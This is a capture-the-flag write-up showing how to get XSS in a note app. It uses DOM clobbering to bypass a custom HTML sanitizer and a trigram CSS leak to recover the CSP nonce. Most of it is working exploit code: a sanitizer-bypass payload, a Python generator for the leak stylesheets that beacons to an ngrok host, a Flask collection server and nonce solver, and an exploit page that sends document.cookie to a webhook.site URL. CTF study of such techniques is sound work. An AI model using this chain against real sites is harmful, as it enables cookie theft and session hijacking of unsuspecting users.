Description
Make your notes has freedom, a freedom from sanitizer
Summary
In this challenge, we will exploit two vulnerabilities to gain XSS. The first is DOM Clobbering in the sanitize function in the index.html file, which uses the DOMParser function to sanitize the HTML. We can manipulate this through DOM Clobbering to create unexpected behavior, allowing us to inject arbitrary HTML inside.
The second vulnerability is a CSS leak to bypass the CSP. The application adds a meta tag that implements CSP rules and includes a nonce. We need to obtain the nonce first via a CSS leak. In this scenario, because there is only limited time (12 seconds) in the bot, we need a fast CSS leak technique. We will use the Trigrams CSS Leak technique, which is faster than common CSS leaks, making the XSS possible.
Exploitation of DOM Clobbering
The index.html file contains a sanitize function that uses the DOMParser to sanitize the HTML input. However, this function is vulnerable to DOM Clobbering, a technique that can be used to create unexpected behavior.
function sanitize(html) {
var allowedElements = {
allowedTags: {
'#text': true,
BODY: true,
FORM: true,
A: true,
B: true,
IMG: true,
},
allowedAttributes: {
src: true,
style: true,
},
};
function removeNodeFromParent(targetNode) {
if (targetNode && targetNode.parentNode) {
targetNode.parentNode.removeChild(targetNode);
}
}
function purifyNode(currentNode) {
console.log("Current Node: ", currentNode.nodeName);
if (!allowedElements.allowedTags[currentNode.nodeName]) {
removeNodeFromParent(currentNode);
return;
}
if(currentNode.nodeName === '#text'){
return;
}
var nodeAttributes = currentNode.attributes;
var childNodesList = currentNode.childNodes;
var attrCount = currentNode.attributes.length;
var idx;
idx = attrCount;
while (idx--) {
var attrName = nodeAttributes[idx].name;
console.log("Attribute Name: ", attrName, allowedElements.allowedAttributes[attrName]);
if (!allowedElements.allowedAttributes[attrName]) {
currentNode.removeAttribute(attrName);
}
}
var childCount = childNodesList.length;
var childIndex = 0;
var nodesToCheck = [];
for (childIndex = 0; childIndex < childCount; childIndex++) {
nodesToCheck.push(childNodesList[childIndex]);
}
for (childIndex = 0; childIndex < nodesToCheck.length; childIndex++) {
purifyNode(nodesToCheck[childIndex]);
}
}
function HTMLSanitizer(rawHTMLString) {
var parser = new DOMParser();
var parsedDoc = parser.parseFromString(rawHTMLString, "text/html");
purifyNode(parsedDoc.body);
console.log("Parsed Doc: ", parsedDoc.body.innerHTML);
return parsedDoc.body.innerHTML;
}
return HTMLSanitizer(html);
}
document.location.hash = "";
let note = document.getElementById('note')
window.onhashchange = () => {
if (document.location.hash){
note.innerHTML = sanitize(decodeURIComponent(document.location.hash.slice(1)));
}
document.location.hash = "";
};
Reference from here https://www.fastmail.com/blog/sanitising-html-the-dom-clobbering-issue/ we can exploit this behaiour by inputing the following string:
<form><input name="childNodes"><input name="childNodes"><style>@import url(${origin}/static/css/first.css);</style></form>
In this case, the style or whatever is inside the form will not get sanitized, allowing us to inject HTML and execute XSS. However, due to the CSP that includes a nonce in the meta tag, we cannot directly execute the XSS. To bypass the CSP, we need to obtain the nonce.
Bypassing CSP Through CSS Leak
The application implements a CSP that includes a nonce to prevent arbitrary JavaScript execution. To bypass this, we must obtain the nonce value. We can acquire the nonce by employing the Trigrams CSS Leak technique. Why trigrams? Because this approach is faster than regular CSS leak techniques, which is crucial given the bot's limited lifespan. The configuration can be found here:
await page.setCookie({
name: 'flag',
value: FLAG,
domain: new URL(APP_URL).hostname,
httponly: false
});
await page.goto(url, { timeout: 2 * 1000, waitUntil: 'networkidle2' })
await sleep(10000)
According to the article at
https://waituck.sg/2023/12/11/0ctf-2023-newdiary-writeup.html , we can use the following script to perform a CSS leak and obtain the nonce:
#!/usr/bin/env python3
import itertools
URL = "http://8.tcp.ngrok.io:15484"
TEMPLATE_START = '''*{display:block} script[nonce^="%s"]{
--props_%s: url(%s?START=%s);
}
'''
TEMPLATE_MATCH = '''*{display:block} script[nonce*="%s"]{
--prop_%s: url(%s?MATCH=%s);
}
'''
TEMPLATE_END = '''*{display:block} script[nonce$="%s"]{
--prope_%s: url(%s?END=%s);
}
'''
TEMPLATE_META = '''*{display:block} meta[content*="%s"]{
--prop_%s: url(%s?MATCH=%s);
}
'''
TEMPLATE_BACKGROUND_SCRIPT = '''*{display:block} script[nonce]{
background: %s;
}
'''
TEMPLATE_BACKGROUND_META = '''*{display:block} meta[content]{
background: %s;
}
'''
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789"
CSS_DIR = "static/css"
all_css = ""
props = []
for cs in itertools.product(CHARSET, repeat=2):
s = "".join(cs)
all_css += TEMPLATE_START % (s, s, URL, s)
all_css += TEMPLATE_END % (s, s, URL, s)
props.append(f"var(--props_{s},none)")
props.append(f"var(--prope_{s},none)")
all_css2 = ""
props_2 = []
for i, cs in enumerate(itertools.product(CHARSET, repeat=3)):
s = "".join(cs)
if i <= 22000:
all_css += TEMPLATE_MATCH % (s, s, URL, s)
props.append(f"var(--prop_{s},none)")
else:
all_css2 += TEMPLATE_META % (s, s, URL, s)
props_2.append(f"var(--prop_{s},none)")
with open(f'{CSS_DIR}/first.css', 'wt') as fp:
fp.write(all_css)
fp.write(TEMPLATE_BACKGROUND_SCRIPT % (",".join(props)))
with open(f'{CSS_DIR}/second.css', 'wt') as fp:
fp.write(all_css2)
fp.write(TEMPLATE_BACKGROUND_META % (",".join(props_2)))
We can then use the obtained nonce in the injected payload to bypass the Content Security Policy and execute the XSS attack.
from flask import Flask, request, send_from_directory, jsonify
import requests
import random
import string
app = Flask(__name__, static_folder='static')
index = open("static/index.html").read()
GSTART = ""
GEND = ""
GTRIGRAMS = []
PREV_TRIGRAMS_LEN = len(GTRIGRAMS)
s = requests.Session()
def random_char(y):
return ''.join(random.choice(string.ascii_letters) for x in range(y))
@app.route("/static/<path:filename>")
def static_files(filename):
return send_from_directory(app.static_folder, filename)
@app.route("/exploit", methods=["GET"])
def exploit():
TARGET = "http://webapp:8001/"
html = index.replace("{{target}}", TARGET)
return html, 200
@app.route("/", methods=["GET"])
def root():
global GSTART, GEND, GTRIGRAMS
START = request.args.get('START', "")
END = request.args.get('END', "")
MATCH = request.args.get('MATCH', "")
if len(START) > 0:
GSTART = START
elif len(END) > 0:
GEND = END
elif len(MATCH) > 0:
GTRIGRAMS.append(MATCH)
print(GSTART, GEND, GTRIGRAMS)
return jsonify(message="Hello World")
@app.route("/nonce", methods=["GET"])
def getnonce():
global GSTART, GEND, GTRIGRAMS, PREV_TRIGRAMS_LEN
try:
curr_trigrams_len = len(GTRIGRAMS)
if curr_trigrams_len == PREV_TRIGRAMS_LEN and curr_trigrams_len != 0:
nonce = trigram_solver(GTRIGRAMS, start=GSTART, end=GEND)
nonce = next(iter(nonce))
return jsonify(nonce=nonce)
PREV_TRIGRAMS_LEN = curr_trigrams_len
except Exception as e:
print(e)
return jsonify(nonce="")
def trigram_solver(l, start="t2", end='ud'):
s = set(l)
solved = start
candidates = set([solved])
while len(next(iter(candidates))) != 32:
print(len(next(iter(candidates))), len(candidates))
new_candidates = set()
for candidate in candidates:
last_chr = candidate[-2:]
for cs in s:
if cs.startswith(last_chr):
new_candidate = candidate + cs[-1]
new_candidates.add(new_candidate)
candidates = new_candidates
final_candidates = set()
for candidate in candidates:
if candidate.endswith(end):
final_candidates.add(candidate)
return final_candidates
if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=8000)
Getting The XSS
Now that we have HTML injection and Nonce, we must connect the dots because the program uses a bot. To do this, we can add an arbitrary URL for the bot to visit, which will direct it to the website that contains our payload:
<html>
<script>
const TARGET = "{{target}}"
// https://www.fastmail.com/blog/sanitising-html-the-dom-clobbering-issue/
let w = open(TARGET);
let sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
(async () => {
await sleep(1000);
w.location = `${TARGET}#<form><input name="childNodes"><input name="childNodes"><style>@import url(${origin}/static/css/first.css);</style></form>`
await sleep(5000);
w.location = `${TARGET}#<form><input name="childNodes"><input name="childNodes"><style>@import url(${origin}/static/css/second.css);</style></form>`
// get nonce
let nonce = "";
while (true) {
nonce = await fetch("/nonce").then(r => r.json());
console.log(nonce);
if (nonce.nonce.length != 32) {
await sleep(1000);
} else {
break;
}
}
w.location = TARGET +`#<form><input name="childNodes"><input name="childNodes"><iframe srcdoc="<script nonce=${nonce.nonce}>fetch(\`https://webhook.site/ff33c67d-c541-4203-b0a9-514187c18663?$\{document.cookie\}\`)<\/script>"></iframe></form>`
})();
</script>
</html>
Our target to attack will be a new window that is opened by this payload. After that, our parent page will modify the target hash to alter the HTML and inject our payload. Initially, the payload will inject the first script.css, after which the second script will be injected. Then, the application will wait for our app to complete solving the trigrams. Once we get the nonce, we can use it to inject iframes containing scripts with nonces that will be run upon loading and send our flag to the webhook.
Finally, remember to modify our attacker's server and webhook in order to obtain the flag.
